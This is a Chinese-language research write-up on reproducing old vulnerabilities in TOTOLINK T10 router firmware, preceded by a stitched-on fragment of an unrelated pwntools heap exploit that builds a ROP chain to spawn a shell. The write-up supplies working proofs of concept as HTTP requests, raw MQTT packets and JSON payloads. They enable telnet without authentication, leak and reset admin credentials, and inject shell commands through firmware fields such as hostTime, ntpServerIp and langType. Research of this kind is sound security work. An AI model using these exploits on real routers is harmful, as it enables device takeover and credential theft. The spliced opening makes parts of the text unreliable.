u64(p.recv(8))print(hex(fake_lib_addr))for i in range(7): add(i+1,b'aaa',0x8,b'a')add(8,b'aaa',0x8,b'dddd')add(9,b'aaa',0x8,b'dddd')add(10,b'aaa',0x8,b'dddd')add(11,b'ddd',0x28,b'a')for i in range(7): delete(i+1)delete(8)show(8)p.recvuntil("Name: ")sec=u64(p.recv(8))delete(9)show(9)p.recvuntil("Name: ")heap_sec=u64(p.recv(8))heap_addr=heap_sec^secprint(hex(heap_addr))stack_addr=u64(p.recv(8))print(hex(stack_addr))delete(8)victim=stack_addr-0x20print(hex(victim))for i in range(7): add(i+1,b'aaa',0x8,b'dddd')pay1=p64(sec^victim)add(12,pay1,0x8,'\x00')add(13,pay1,0x8,'\x00')add(14,pay1,0x8,'\x00')add(15,b'ccc',0x8,b'\x00')show(15)p.recvuntil("Name: ")p.recv(8)pie_base_addr=u64(p.recv(6).ljust(8,b'\x00'))-0x1794print('pie: '+hex(pie_base_addr))print(hex(stack_addr))for i in range(7): add(i+30,b'/bin/sh\x00',0x3f8,b'dddd')delete(31)show(31)p.recvuntil('Name: ')p.recv(8)lib_addr=u64(p.recv(6).ljust(8,b'\x00'))-96-0x1f6c60print('libc: '+hex(lib_addr))#print(p.bases)libc = ELF("./libc.so.6")system=lib_addr+libc.sym["system"] #0x4c330bin_sh=lib_addr+0x1b61b4print(hex(system))print(hex(bin_sh))ret=0x00000000000233d1+lib_addrpop_rdi=0x00023b65+lib_addrrop_chain=p64(ret)*0x10+p64(pop_rdi)+p64(bin_sh)+p64(system)## editedit(15,rop_chain)p.sendlineafter("> ", '5')p.interactive()
totolinkT10路由器老版本漏洞复现和分析
文章同步于:https://mp.weixin.qq.com/s/6kC02ABzeBnhjPeAs6lyrQ
[toc]
一、环境搭建1.1 获取和解压固件http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=15&ids=36
binwalk -Me TOTOLINK_CS185R_T10_IP04336_8197F_SPI_16M64M_V5.9c.1485_B20180122_ALL.web
查看busybox获得架构信息,
12root@vultr:/tmp/squashfs-root/bin# file busyboxbusybox: ELF 32-bit LSB executable, MIPS, MIPS32 rel2 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, no section header
下载qemu
1234apt install qemu-user qemu-user-static qemu-system 网桥工具apt install bridge-utils uml-utilities
链接失效了,问同学要了一个
1wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 && wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta
scp -r root@xxxx:/root/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2 ./
scp -r root@xxxx:/root/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta ./
网络配置
12345brctl addbr virbr2 # 创建网桥ifconfig virbr2 192.168.6.1/24 up # 配置网桥IPtunctl -t tap2 # 添加虚拟网卡tap2ifconfig tap2 192.168.6.11/24 up # 配置虚拟网卡IPbrctl addif virbr2 tap2 # 配置虚拟网卡与网桥连接
启动虚拟机
1qemu-system-mipsel -M malta -kernel vmlinux-3.2.0-4-4kc-malta -hda debian_wheezy_mipsel_standard.qcow2 -append "root=/dev/sda1" -netdev tap,id=tapnet,ifname=tap2,script=no -device rtl8139,netdev=tapnet -nographic
登陆虚拟机、配置网络
root/root
ifconfig eth0 192.168.6.15 up # 配置路由器IPscp -r squashfs-root/ root@192.168.6.15:/root/ # 拷贝路由器文件到虚拟机
注意这里有个坑
就是上一个开启的qemu里面的squashfs-root不是要搭建的那个路由器的…很奇怪…不知道哪里来的…
所以其实要先从物理机上考过去一份到qemu的debian系统里,然后再拷到路由系统里
物理机/云服务器执行: scp -r /tmp/squashfs-root 192.168.6.15:/root/ 拷贝到qemu虚拟出的debian里面
qemu里执行 scp -r squashfs-root/ root@192.168.6.15:/root/ 拷贝到
chroot ./squashfs-root/ /bin/sh # 挂载路由器系统./bin/lighttpd -f ./lighttp/lighttpd.conf -m ./lighttp/lib # 启动路由器服务
报错(server.c.624) opening pid-file failed: /var/run/lighttpd.pid No such file or directory
创建一下即可
1.2 流量转发怎么把流量转发出来呢?
把qemu的流量转发到主机的端口
ssh root@192.168.6.15 -L 127.0.0.1:80:127.0.0.1:80
把主机的流量转发到PC端口,就可以在自己电脑上访问了
ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:127.0.0.1:80
或者安装一个图形化界面(用服务器搭建的)
ssh root@192.168.6.15 -L 127.0.0.1:80:127.0.0.1:80
或者直接一个转发就行了吧?(vps关了,还没尝试)
ssh root@xxxxxx (vps的ip) -L 127.0.0.1:80:192.168.6.15:80
1.3 虚拟环境的各种问题登陆报错
123456789101112131415161718192023-05-07 18:44:46: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 HTTP/1.1 200 OKContent-Length: 0Date: Sun, 07 May 2023 18:44:58 GMTServer: lighttpd/1.4.202023-05-07 18:44:58: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 2023-05-07 18:48:03: (mod_cgi.c.588) cgi died, pid: 2588 2023-05-07 18:48:06: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 2023-05-07 18:48:09: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11 HTTP/1.1 200 OKContent-Length: 0Date: Sun, 07 May 2023 18:48:19 GMTServer: lighttpd/1.4.202023-05-07 18:48:19: (mod_cgi.c.1415) cleaning up CGI: process died with signal 11
访问home.asp直接下载文件了….
换个版本?
https://toscode.gitee.com/baozhazhizi/IoT-vulhub/tree/master/Totolink/CVE-2022-41518
TOTOLINK NR1800X
http://www.totolink.cn/home/menu/detail.html?menu_listtpl=download&id=70&ids=36
好奇怪..用user模式是这个,system模式就不是了…
把东西拷其进去后 404了
但是在服务器里面测试是好的
搭建图形化界面https://zhuanlan.zhihu.com/p/436458664
vnc一开始连不上是防火墙的事,把防火墙关了,可以在图形化界面里直接访问
1.4 真机 因为自己的机器是mac,m1架构,搭建不了x86的虚拟机,就用的云服务器,比较麻烦,然后环境也有问题,于是买了一个真机,但是真机也有问题,导致自己很崩溃,通宵了一晚上去调试环境,但不论怎么搭建虚拟环境或者用真机,在登录页面点击登陆后,都登陆不进去
后来无意中在百度贴吧搜索发现有人和我一样的问题……………居然是要用远古的ie或者360浏览器的兼容模式才能打开…
二、 获取初始shell2.1 telnet 在路由器管理后台开启telnet功能,或者直接python发包获取(未授权)
123import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')
2.2 password获取123(base) ➜ squashfs-root cat etc/shadow.sampleroot:$1$BJXeRIOB$w1dFteNXpGDcSSWBMGsl2/:16090:0:99999:7:::nobody:*:14495:0:99999:7:::
解密结果是cs2012
三、框架分析3.1 目录梳理123456789--bin 二进制文件--lib --cste_modules .so库文件--web_cste 浏览器web后台主目录 --adm 管理员后台 --cgi-bin 功能处理 --firewall 防火墙功能 login.asp 登陆页面 telnet.asp telnet控制页面
进去之后 进行信息收集, 先传一个busybox-mipsel
12python -m http.server 80 起一个服务,传一下wget http://xxxxxxxx/busybox-mipsel
收集进程信息
123456789101112131415161028 root 0:00 udhcpd /var/udhcpd.conf1269 root 0:00 ppp_inet -t 3 -c 0 -x1279 root 0:00 dnsmasq1285 root 0:00 lld2d br01301 root 0:00 fwd1329 root 0:00 cs_broker -c /etc/mosquitto.conf1335 root 0:00 cste_sub -h 127.0.0.1 -t totolink/router/#1352 root 0:00 telnetd1360 root 0:00 csteDriverConnMachine1365 root 0:00 crond1366 root 0:00 [kworker/0:1H]1376 root 0:00 lighttpd -f /lighttp/lighttpd.conf -m /lighttp/lib/1398 root 0:00 /bin/getty -L ttyS0 38400 vt1001400 root 0:00 watchdog -c /var/cs_watchdog.conf1924 root 0:00 -sh2178 root 0:00 ./busybox-mipsel ps auxf
网络信息
12345678910111213141516171819202122# ./busybox-mipsel netstat -alpActive Internet connections (servers and established)Proto Recv-Q Send-Q Local Address Foreign Address State PID/Program nametcp 0 0 0.0.0.0:http 0.0.0.0:* LISTEN 1376/lighttpdtcp 0 0 0.0.0.0:domain 0.0.0.0:* LISTEN 1279/dnsmasqtcp 0 0 0.0.0.0:telnet 0.0.0.0:* LISTEN 1352/telnetdtcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 1329/cs_brokertcp 0 0 127.0.0.1:1883 127.0.0.1:56383 ESTABLISHED 1329/cs_brokertcp 0 0 127.0.0.1:56383 127.0.0.1:1883 ESTABLISHED 1335/cste_subtcp 0 157 router.totolink.com:telnet 192.168.55.3:62063 ESTABLISHED 1352/telnetdnetstat: /proc/net/tcp6: No such file or directoryudp 0 0 0.0.0.0:domain 0.0.0.0:* 1279/dnsmasqudp 0 0 0.0.0.0:bootps 0.0.0.0:* 1028/udhcpdnetstat: /proc/net/udp6: No such file or directorynetstat: /proc/net/raw6: No such file or directoryActive UNIX domain sockets (servers and established)Proto RefCnt Flags Type State I-Node PID/Program name Pathunix 3 [ ] STREAM CONNECTED 1590 1335/cste_subunix 3 [ ] STREAM CONNECTED 1282 1028/udhcpdunix 3 [ ] STREAM CONNECTED 1591 1335/cste_subunix 3 [ ] STREAM CONNECTED 1283 1028/udhcpdunix 2 [ ] DGRAM 1488 1279/dnsmasq
四、逻辑功能、业务流程梳理4.1 登陆
formLoginAuth.htm 这个东西其实在lighttpd里面, 它只是一个变量名,不代表文件,判断这个文件名,会调用Form_Login函数
4.1.1 密码泄露这个请求包存在一个问题,即不论用户名密码是否正确,都调用它,然后返回前端,于是就有了一个用户名密码泄露漏洞
123456789101112131415161718192021222324252627282930313233343536373839404142434445POST /cgi-bin/cstecgi.cgi HTTP/1.1Content-Type: application/x-www-form-urlencoded; charset=UTF-8Accept: */*X-Requested-With: XMLHttpRequestReferer: http://192.168.0.1/title.aspAccept-Language: zh-Hans-CN,zh-Hans;q=0.5Accept-Encoding: gzip, deflateUser-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like GeckoContent-Length: 37Host: 192.168.0.1Pragma: no-cacheCookie: SESSION_ID=2:1516657290:2Connection: close{"topicurl":"setting/getLanguageCfg"}HTTP/1.1 200 OKConnection: closeContent-Type: text/plainContent-Length: 340Pragma: no-cacheCache-Control: no-cacheDate: Mon, 22 Jan 2018 21:36:50 GMTServer: lighttpd/1.4.20{ "operationMode": 0, "loginFlag": 1, "multiLangBt": 1, "helpBt": 1, "fmVersion": "V5.9c.1485", "title": "TOTOLINK", "langFlag": 0, "languageType": "cn", "helpUrl": "www.totolink.cn", "usbFlag": 0, "productName": "T10", "lanIp": "192.168.0.1", "wanConnStatus": "disconnected", "loginUser": "admin", "loginPass": "123456888"}
4.2 admin后台4.2.1 password.asp 通过setting/getPasswordCfg接口可以直接获取密码,而且未做鉴权
12345678910111213141516var rJson;$(function(){ var postVar={topicurl:"setting/getPasswordCfg"}; postVar=JSON.stringify(postVar); $.ajax({ type : "post", url : " /cgi-bin/cstecgi.cgi", data : postVar, async : false, success : function(Data){ rJson=JSON.parse(Data); supplyValue("admuser",rJson['admuser']); } }); $("#div_admpass11,#div_admpass21").show();//p $("#div_admpass12,#div_admpass22").hide();//t try{ parent.frames["title"].initValue(); }catch(e){}});
4.2.2 所以asp里的功能 是怎么对应到后面的? 答: 通过mqtt协议转发,前端的功能,通过类似于setting/getPasswordCfg的消息,发送给代理程序,然后代理程序交给后端服务处理程序来处理,然后再相反路径返回结果
4.2.3 客户端如何转发的请求?为什么/cgi-bin/cstecgi.cgi里面对应的功能不全呢? 比如setting/getPasswordCfg 它其实是在 system.so里
答:cstecgi.cgi里并没有包含所有功能,它主要是包含了请求重定向,登陆等功能,其余的功能,会通过转发请求和加载库的机制实现
在这里匹配不到的最后都会通过else里的这两个函数进行转发请求,给后面的处理程序进行处理. 可以看到,这里转发给了mqtt的代理程序,因为连接到了1883端口.
web_getData的参数可以往前追溯分析,
12v23 = *(_DWORD *)(cJSON_GetObjectItem(v13, "topicurl") + 16);
v23: topicurl的值, 例如setting/getPasswordCfg
v30: 其他的参数值
那么这两个函数又是在哪里呢? 搜索发现是在libmosquitto.so库里,它是一个开源的组件,就是由它来负责具体的mqtt消息的处理
123(base) ➜ squashfs-root grep -rin set_CSTEInfoBinary file ./lib/libmosquitto.so matchesBinary file ./web_cste/cgi-bin/cstecgi.cgi matches
v16[0] 0
v16[1] 1883
v16[2] 127.0.0.1
v16[3]
v16[4] totolink/router/setting/setxxxxCfg
v16这个数组即发送的请求,传到client_config_load,然后传到 v10 = sub_F8DC(a1, a2, a3, a4);
可以看到,它会给消息分配一块堆空间,然后存储到这里
123456789101112if ( mosquitto_sub_topic_check(*(_DWORD *)(a4 + 4 * (i + 1))) == 3 ) { fprintf( stderr, "Error: Invalid subscription topic '%s', are all '+' and '#' wildcards correct?\n", *(const char **)(a4 + 4 * (i + 1))); return 1; } ++*(_DWORD *)(a1 + 96); *(_DWORD *)(a1 + 92) = realloc(*(void **)(a1 + 92), 4 * *(_DWORD *)(a1 + 96)); v5 = (char **)(*(_DWORD *)(a1 + 92) + 4 * (*(_DWORD *)(a1 + 96) - 1)); *v5 = strdup(*(const char **)(a4 + 4 * (i + 1)));
4.2.4 如何加载库的呢? 进行逆向推理,首先要找是谁加载了system.so
1234(base) ➜ squashfs-root grep -irn "system.so"Binary file ./bin/yddns matchesBinary file ./bin/pppoe-discovery matchesBinary file ./bin/csteDriverConnMachine matches
查看了一下这几个文件,发现都没有什么线索,根据网上的资料调查会发现,其实是通过dlopen这个方式加载库,所以.so和system可能进行了拼接,直接搜system就太多了,所以可以搜索路径lib/cste_modules
123(base) ➜ squashfs-root grep -irn "lib/cste_modules"Binary file ./bin/cste_sub matches
所以是cste_sub加载了system,在cute_sub的 load_modules()函数中,找到如下加载库的代码,可以看到,进行了路径拼接,以及用opendir和readdir读取目录中的文件.
123tcp 0 0 0.0.0.0:1883 0.0.0.0:* LISTEN 1329/cs_brokertcp 0 0 127.0.0.1:1883 127.0.0.1:56383 ESTABLISHED 1329/cs_brokertcp 0 0 127.0.0.1:56383 127.0.0.1:1883 ESTABLISHED 1335/cste_sub
根据前面查到的端口可以进一步分析,首先1883是mqtt端口,cs_broker用了这个端口,所以它就是代理,那么需要找客户端和服务端,客户端很明显,就是/cgi-bin/cstecgi.cgi,那么服务端呢,也很明显了,就是cste_sub,它与代理始终建立了双向链接
4.2.5 cgi-bin/cstecgi.cgi又是如何把消息传送给cs_broker的呢? 在这里与1883代理进行消息转发
123(base) ➜ squashfs-root grep -irn "set_CSTEinfo"Binary file ./lib/libmosquitto.so matchesBinary file ./web_cste/cgi-bin/cstecgi.cgi matches
可以发现这两个函数来自于libmosquitto.so这个库,所以说totolink的mqtt是基于这个库来运行的
4.2.6 mqtt代理如何和服务端和客户端通信的呢? 也就是说那么 cs_broker是怎么接收cgi-bin/cstecgi.cgi的消息的呢? 又是怎么转发消息到cste_sub的呢?
4.2.6.1 mqtt代理与客户端通信 要有一个listen等待接收消息,cs_broker主函数中的mqtt3_socket_listen函数.获取传来的地址,解析数据,建立socket
4.2.6.2 与服务端通信 肯定要有一个connect进行连接
4.2.7 完整的流程 分析完登陆和后台的这个功能大概梳理清楚了程序的运行逻辑,它不是直接调用后端的接口,而是通过mqtt通信到后端来处理请求然后返回,所以不论前端的什么请求,都会转化成mqtt的请求包,所以对80端口的请求,也可以通过构造mqtt数据包来执行
此外还分析了一下系统的启动流程等,最后总结成流程图
五、mqtt分析5.1 抓包分析:(以telnet为例)5.1.1 安装libpcap/tcpdump
官网下载tcpdump和libpcap
12git clone https://github.com/the-tcpdump-group/tcpdumpgit clone https://github.com/the-tcpdump-group/libpcap
Git clone的版本比较新,有所不同,可以用这个
https://www.tcpdump.org/old_releases.html
5.1.1.1 libpcap先安装两个依赖
先安装flex
123456#libpcap 1.1要求flex必须在2.4.6及以上wget http://prdownloads.sourceforge.net/flex/flex-2.5.36.tar.gztar -xzvf flex-2.5.36.tar.gzcd flex-2.5.36./configure --prefix=/usrmake -j && make install
安装bison
12345wget http://ftp.gnu.org/gnu/bison/bison-2.4.tar.gztar -xzvf bison-2.4.tar.gzcd bison-2.4/./configure --prefix=/usrmake -j && make install
安装libpcap
12345wget http://www.tcpdump.org/release/libpcap-1.1.1.tar.gztar -xzvf libpcap-1.1.1.tar.gzcd libpcap-1.1.1./configure --prefix=/usrmake -j && make install
–prefix=/usr指定软件安装路径
报错处理
12345678910111213root@vultr:~/net/libpcap-1.1.1# make -jgcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -c scanner.cgcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -c ./pcap-linux.cgcc -O2 -fpic -I. -DHAVE_CONFIG_H -D_U_="__attribute__((unused))" -Dyylval=pcap_lval -c grammar.c./pcap-linux.c: In function ‘pcap_read_packet’:./pcap-linux.c:1555:24: error: ‘SIOCGSTAMP’ undeclared (first use in this function); did you mean ‘SIOCGIWAP’? 1555 | if (ioctl(handle->fd, SIOCGSTAMP, &pcap_header.ts) == -1) { | ^~~~~~~~~~ | SIOCGIWAP./pcap-linux.c:1555:24: note: each undeclared identifier is reported only once for each function it appears inmake: *** [Makefile:81: pcap-linux.o] Error 1make: *** Waiting for unfinished jobs....
https://blog.csdn.net/liangjian990709/article/details/111494494
https://github.com/LibtraceTeam/libtrace/issues/117
报错是说找不到这个宏的定义,找到出问题的文件pcap-linux.c,加上头文件即可 #include <linux/sockios.h>
验证是否成功
123456789101112131415161718192021222324#include <stdio.h>#include <pcap.h>int main(int argc, char *argv[]) {char errbuf[PCAP_ERRBUF_SIZE];pcap_if_t* devs;pcap_if_t* d;unsigned int i = 0;//获取全部的devif (-1 == pcap_findalldevs(&devs, errbuf)) {fprintf(stderr, "Could not list device: %s\n", errbuf);} else {d = devs;while (d->next != NULL) {printf("%d:%s\n", i++, d->name);d = d->next;}}//释放所有获取的devpcap_freealldevs(devs);return (0);}
gcc test.c -lpcap -L/usr/lib/libpcap.so
-lpcap然后指定安装路径
12345678root@vultr:~/net# ./a.out0:docker01:tun02:enp1s03:virbr24:tap25:br-bb76d9e6caa66:any
https://www.coder4.com/archives/1001
5.1.1.2 tcpdump12345wget https://www.tcpdump.org/release/tcpdump-4.1.1.tar.gztar zxvf tcpdump-4.1.1.tar.gzcd tcpdump-4.1.1./configure --prefix=/usrmake -j && make install
安装完直接命令输入 tcpdump进行测试
5.1.1.3 交叉编译mipsel版tcpdump安装mipsel gcc
1apt install gcc-mipsel-linux-gnu
编译libpcap (重新解压一份源码)
1234./configure --prefix=/home/test/mipsel_libpcap #该目录根据情况更改/configure --host=mipsel-linux --with-pcap=linux --prefix=/home/test/mipsel_libpcapmake CC=mipsel-linux-gnu-gccmake install CC=mipsel-linux-gnu-gcc #编译的libpcap安装到了/home/test/mipsel_libpcap目录下
编译tcpdump
123456789动态链接./configure make CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a' 静态链接 ./configuremake CC=mipsel-linux-gnu-gcc CFLAGS='-I/home/test/mipsel_libpcap/include -static' LDFLAGS='-L/home/test/mipsel_libpcap/lib/libpcap.a -static'
编译的时候报错,应该是版本太老了….然后….
很多个版本一直报错
1234567checking for pcap_loop... noconfigure: error: This is a bug, please follow the guidelines in CONTRIBUTING and include theconfig.log file in your report. If you have downloaded libpcap fromtcpdump.org, and built it yourself, please also include the config.logfile from the libpcap source directory, the Makefile from the libpcap urce directory, and the output of the make process for libpcap, as
2010就好了
不过最后还是有点问题,没有编译成功,暂时先放一下,在github上能搜到编译好的,先用着
https://github.com/badmonkey7/tcpdump-static
5.1.2 流量包分析tcp开启监听,然后mqtt发送订阅(其实不行,这个包不完全,应该走80端口的服务才行)
123import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setTelnetCfg","telnet_enabled":"1"}')
./tcpdump-mipsel -i any -w ./test1.pcap
1./tcpdump-mipsel -i lo -w ./test.pcap
获取流量后,利用base64编码把数据包拿到
123cat /tmp/test.pcap | /tmp/busybox-mipsel base64 # 编码过程# 将base64编码的内容保存到本地文件pcap64cat pcap64 | base64 -d > test.pcap # 解码过程
不知道为什么一发送订阅,连接就挂了..所以开一个nohup来放到后台运行,断了后重新登录,kill掉进程就得到数据包了,并且如果想抓80的话,要多抓几个网卡,具体是哪个还没测试(-i any抓全部)
123456# ./tcpdump-mipsel -i lo -w ./test.pcaptcpdump-mipsel: listening on lo, link-type EN10MB (Ethernet), snapshot length 262144 bytesConnection closed by foreign host. ./busybox-mipsel nohup ./tcpdump-mipsel -i any -w ./test.pcap
能够看到三次握手四次挥手以及订阅包,推送包等等
基于上面分析,可以利用pwntools直接构造mqtt的数据包
5.1.3 利用pwntools构造mqtt的数据包 这条消息中的下面选中部分就是发送的设置telnet的mqtt publish报文,也就是脚本中的msg2
31 1.735248 127.0.0.1 127.0.0.1 MQTT 175 Publish Message [totolink/router/setting/setTelnetCfg]
12345678910from pwn import *io = remote("192.168.55.1",1883)msg1 = "\x10\x1a\x00\x04\x4d\x51\x54\x54\x04\x02\x00\x3c\x00\x0e\x4d\x51\x54\x54\x5f\x46\x58\x5f\x43\x6c\x69\x65\x6e\x74"msg2 = "\x30\x65\x00\x24\x74\x6f\x74\x6f\x6c\x69\x6e\x6b\x2f\x72\x6f\x75\x74\x65\x72\x2f\x73\x65\x74\x74\x69\x6e\x67\x2f\x73\x65\x74\x54\x65\x6c\x6e\x65\x74\x43\x66\x67\x7b\x0a\x09\x22\x74\x6f\x70\x69\x63\x75\x72\x6c\x22\x3a\x09\x22\x73\x65\x74\x74\x69\x6e\x67\x2f\x73\x65\x74\x54\x65\x6c\x6e\x65\x74\x43\x66\x67\x22\x2c\x0a\x09\x22\x74\x65\x6c\x6e\x65\x74\x5f\x65\x6e\x61\x62\x6c\x65\x64\x22\x3a\x09\x22\x31\x22\x0a\x7d"io.send(msg1) # connectsleep(0.2)io.send(msg2) # setTelnetCfg 1
5.1.4 mqtt.fx使用https://blog.csdn.net/weixin_43940932/article/details/107935303
这是一个调试mqtt协议的工具, 先修改mqtt代理的ip,就是路由器的ip,
subscribe订阅 #是订阅全部
publish,发送报文
六、so库命令执行漏洞挖掘 有命令执行的一般都要有system,execve 或者包装好的函数 CsteSystem,如果有交叉引用的漏洞函数,那么也可能存在命令执行
一共9个文件. 后面有时间感觉可以写个ida脚本自动化来找…
6.1 system.so主要包含下面的函数
12345678910111213141516171819202122232425int module_init(){ cste_hook_register("getPasswordCfg", getPasswordCfg); cste_hook_register("setPasswordCfg", setPasswordCfg); cste_hook_register("NTPSyncWithHost", NTPSyncWithHost); cste_hook_register("getNTPCfg", getNTPCfg); cste_hook_register("setNTPCfg", setNTPCfg); cste_hook_register("getDDNSStatus", getDDNSStatus); cste_hook_register("getDDNSCfg", getDDNSCfg); cste_hook_register("setDDNSCfg", setDDNSCfg); cste_hook_register("getSyslogCfg", getSyslogCfg); cste_hook_register("clearSyslog", clearSyslog); cste_hook_register("setSyslogCfg", setSyslogCfg); cste_hook_register("getMiniUPnPConfig", getMiniUPnPConfig); cste_hook_register("setMiniUPnPConfig", setMiniUPnPConfig); cste_hook_register("LoadDefSettings", LoadDefSettings); cste_hook_register("RebootSystem", RebootSystem); cste_hook_register("FirmwareUpgrade", FirmwareUpgrade); cste_hook_register("getRebootScheCfg", getRebootScheCfg); cste_hook_register("setRebootScheCfg", setRebootScheCfg); cste_hook_register("getTelnetCfg", getTelnetCfg); cste_hook_register("setTelnetCfg", setTelnetCfg); cste_hook_register("SystemSettings", SystemSettings); return 0;}
6.1.1 getPasswordCfg 未授权获取用户名密码mqtt 1883端口攻击totolink/router/setting/getPasswordCfg
123{ "topicurl":"setting/getPasswordCfg"}
会直接返回用户名密码
80端口攻击1234import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/getPasswordCfg"}')print(response.text)
效果
12345(base) ➜ router python3 password.exp{ "admuser": "admin", "admpass": "123456888"}
GetLanguageCfg也可以,不过不在system.so这里
6.1.2 setPasswordCfg 未授权修改密码totolink/router/setting/setPasswordCfg
12345{ "topicurl":"setting/setPasswordCfg", "admuser":"admin", "admpass":"123456888"}
6.1.3 NTPSyncWithHost 命令执行mqtt 1883端口123456totolink/router/setting/NTPSyncWithHost{ "topicurl":"setting/NTPSyncWithHost", "hostTime":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"}
80端口1234import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/NTPSyncWithHost","hostTime":";\'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)\';"}')print(response.text)
主要漏洞原因是获取了hostTime参数后,直接拼接起来然后传给了CsteSystem进行命令执行了
6.1.4 setNTPCfg 命令执行1234567totolink/router/setting/setNTPCfg{ "topicurl":"setting/setNTPCfg", "tz":"UTC+0", "ntpServerIp":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123456)';", "ntpClientEnabled":"ON"}
apmib_set在哪呢?
搜索一下 grep -rin apmib_set
12345678910111213141516171819(base) ➜ squashfs-root grep -rin apmib_setBinary file ./bin/csteSys matchesBinary file ./bin/AC matchesBinary file ./bin/cs_statistics matchesBinary file ./bin/WTP matchesBinary file ./bin/flash matchesBinary file ./bin/sysconf matchesBinary file ./bin/ntp_inet matchesBinary file ./bin/fwupg matchesBinary file ./bin/AACWTP matchesBinary file ./lib/cste_modules/wan.so matchesBinary file ./lib/cste_modules/wps.so matchesBinary file ./lib/cste_modules/system.so matchesBinary file ./lib/cste_modules/firewall.so matchesBinary file ./lib/cste_modules/wireless.so matchesBinary file ./lib/cste_modules/global.so matchesBinary file ./lib/cste_modules/lan.so matchesBinary file ./lib/libapmib.so matchesBinary file ./lib/libcstelib.so matches
Binary file ./lib/libapmib.so matches 这个名字看着就像,但是这个一个第三方库,就是设置值的,不像是触发漏洞的点
后来进行gdb动态调试的时候发现,system触发点在set_timeZone()函数中,也很奇怪,因为这个函数并没有传入的值.
6.2 upgrade.so主要函数
123456789int module_init(){ cste_save_fwinfo(); cste_hook_register("setUpgradeFW", &setUpgradeFW); cste_hook_register("setUploadSetting", &setUploadSetting); cste_hook_register("CloudACMunualUpdate", CloudACMunualUpdate); cste_hook_register("slaveUpgrade", slaveUpgrade); return 0;}
1234567891011int __fastcall dl(const char *a1){ char v3[512]; // [sp+18h] [-300h] BYREF char v4[256]; // [sp+218h] [-100h] BYREF memset(v3, 0, sizeof(v3)); memset(v4, 0, sizeof(v4)); getStrFromTmp("DlFileUrl", v4); sprintf(v3, "wget -O %s %s", a1, v4); return CsteSystem(v3, 0);}
getStrFromTmp这个是干什么的..
6.2.1 setUpgradeFW 命令执行 注意这里拼接命令和其他有所不同
12345678totolink/router/setting/setUpgradeFW { "topicurl":"setting/setUpgradeFW", "Flags":1, "FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUpgradeFW;", "ContentLength":12}
当ContentLength小于0x100000时,执行LABEL_14的逻辑,这里是出现错误删除文件的功能,进行了拼接
6.2.2 setUploadSetting 命令执行123456totolink/router/setting/setUploadSetting{ "topicurl":"setting/setUploadSetting", "FileName":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;", "ContentLength":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/setUploadSetting;"}
获取的文件名会进行读取
6.2.3 slaveUpgrade 命令执行123456totolink/router/setting/slaveUpgrade{ "topicurl":"setting/slaveUpgrade", "url":";'$(/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/test123)';"}
6.3 global.so 主要功能
1234567891011121314151617int module_init(){ cste_hook_register("getOpMode", getOpMode); cste_hook_register("setOpMode", setOpMode); cste_hook_register("getGlobalFeatureBuilt", getGlobalFeatureBuilt); cste_hook_register("getSysStatusCfg", getSysStatusCfg); cste_hook_register("getLanguageCfg", getLanguageCfg); cste_hook_register("setLanguageCfg", setLanguageCfg); cste_hook_register("loginAuth", &loginAuth); cste_hook_register("getSaveConfig", &getSaveConfig); cste_hook_register("getLedStatus", getLedStatus); cste_hook_register("getWanAutoDetect", &getWanAutoDetect); cste_hook_register("setEasyWizardCfg", setEasyWizardCfg); cste_hook_register("getEasyWizardCfg", getEasyWizardCfg); cste_hook_register("autoDhcp", autoDhcp); return 0;}
6.3.1 setLanguageCfg 命令执行12345totolink/router/setting/setLanguageCfg{ "topicurl":"setting/setLanguageCfg", "langType":";echo 123 > /tmp/setLanguageCfg;"}
6.3.2 getLanguageCfg 信息泄露 用户名密码泄露
6.4 firewall.so 防火墙的,设置防火墙相应内容. 但是这里面system执行的内容都是写死的,不可控
有没有可能格式化字符串修改固定的值,然后进行命令利用?
6.5 wireless.so6.5.1 setWebWlanIdx 命令执行12345678910111213totolink/router/setting/setWebWlanIdx{ "topicurl":"setting/setWebWlanIdx", "webWlanIdx":";echo 123 > /tmp/setWebWlanIdx;"}import requestsresponse = requests.post("http://192.168.55.1/cgi-bin/cstecgi.cgi",data='{"topicurl":"setting/setWebWlanIdx","hostTime":";echo 123 > /tmp/test123;")print(response.text)
6.5.2 updateWifiInfo 命令执行 注意newMd5参数不为0
1234567totolink/router/setting/updateWifiInfo { "topicurl":"setting/updateWifiInfo", "serverIp":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/updateWifiInfo;", "newMd5":123}
6.5.3 meshInfoKick 命令执行123456totolink/router/setting/meshInfoKick { "topicurl":"setting/meshInfoKick", "ipAddr":";/tmp/busybox-mipsel${IFS}touch${IFS}/tmp/meshInfoKick;"}
有点小问题,还没调试好
